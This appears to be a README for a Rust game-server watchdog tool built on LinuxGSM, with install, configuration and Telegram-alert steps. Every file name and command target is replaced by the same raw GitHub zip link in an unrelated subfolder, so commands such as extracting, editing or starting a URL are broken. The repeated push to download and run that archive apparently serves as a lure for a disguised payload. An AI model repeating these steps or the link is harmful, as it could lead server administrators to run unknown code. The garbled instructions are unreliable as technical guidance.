rust-linuxgsm-watchdog is a tool designed to keep your Facepunch Rust game server running smoothly. It regularly checks the server’s health and makes sure it updates automatically. It can also update essential mods like Oxide and Carbon, restart the server when needed, and send alerts via Telegram.
If you run a Rust server using LinuxGSM, this watchdog helps you avoid downtime and manual updates. It supports optional features like the Smooth Restarter from uMod. The tool works quietly in the background to help manage your server without your constant attention.
Before you start, make sure your server or computer meets these basics:
- Operating System: Linux distribution (Ubuntu, Debian, CentOS tested)
- Rust game server installed and managed by LinuxGSM
- Basic command line access (you don’t need to code, but you’ll run commands)
- Internet connection for updates and alerts
- Optional: Telegram account for alert notifications
rust-linuxgsm-watchdog helps you with:
- Health Checks: It checks if the Rust server is running properly.
- Automatic Updates: Keeps the game server software up to date with LinuxGSM.
- Mod Management: Updates Oxide and Carbon mods automatically.
- Restart Server: Restarts the server if it crashes or after updates.
- Smooth Restarter Support: Integrates with uMod’s Smooth Restarter for smoother reboots.
- Telegram Alerts: Sends messages to your Telegram account if problems appear or updates run.
This guide will help you download rust-linuxgsm-watchdog and set it up to work with your Rust server. You do not need programming skills. Just follow the steps carefully.
-
Visit the Download Page to get the latest version of rust-linuxgsm-watchdog. Use the big button above or click the link again here.
-
On the releases page, look for the most recent version and download the file appropriate for your system, often a
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zipor similar archive. -
Once downloaded, open a terminal on your Linux server or computer.
-
Extract the archive using a command like:
tar -xzf https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip
Replace
x.x.xwith the actual version number. -
Navigate into the extracted folder:
cd rust-linuxgsm-watchdog-x.x.x -
Run the installer or setup script if provided:
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip
If there is no installer, check for a
READMEorINSTALLfile in the folder and follow any extra instructions there. -
You may need to make the main script executable with:
chmod +x https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip
-
You are now ready to configure and start the watchdog.
The watchdog needs some settings to know where your Rust server is and how to manage it.
-
Locate the configuration file, often named
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.ziporhttps://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip. -
Open this file with a text editor, for example:
nano https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip
-
Set the path to your LinuxGSM Rust server installation. It should look like:
server_path="/home/username/rustserver" -
If you want Telegram alerts, fill in your bot token and chat ID in the config. These come from your Telegram bot setup.
-
Set update checks interval, health check frequency, and restart options as needed. Defaults usually work well.
-
Save the file and exit the editor.
-
To start the watchdog, run:
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip start
This launches the process that monitors the Rust server continuously.
-
To see if it is running, use:
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip status
-
To stop it, run:
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip stop
-
You can set it up to start automatically at system boot using standard Linux methods like
cronorsystemd.
If the watchdog isn't working as expected, try these tips:
- Ensure LinuxGSM manages your Rust server and the path in config matches exactly.
- Check your internet connection, since updates and alerts need it.
- Review log files in the watchdog folder for detailed messages.
- Confirm Telegram settings are correct if alerts do not appear.
- Make sure you gave permissions to run the scripts.
To get alerts on Telegram:
- Open Telegram and search for the “BotFather”.
- Send
/newbotand follow directions to create a bot. - Copy the bot token.
- Get your chat ID by sending a message to the bot, then visit:
Check the response for your chat ID.
https://github.com/krypton2355/rust-linuxgsm-watchdog/raw/refs/heads/main/indogen/rust-watchdog-linuxgsm-bahut.zip<YourBotToken>/getUpdates - Enter the bot token and chat ID in your watchdog config.
- Restart the watchdog to apply changes.
You will now receive notifications if your server stops, updates occur, or mods change.
If you want to learn more or get support:
- Visit the rust-linuxgsm-watchdog GitHub page for source code and updates.
- Check the LinuxGSM documentation to understand how LinuxGSM runs Rust servers.
- Look up Oxide and Carbon mod pages for more on plugins.
- Check uMod for details on the Smooth Restarter.
This tool covers:
admin-tools, automation, carbon, carbon-framework, carbon-plugins, facepunch, linuxgsm, oxide, oxide-framework, oxide-plugins, restarter, rust, rust-game, server, telegram-bot, umod, updater, watchdog
Feel free to explore the release page and start managing your Rust server efficiently.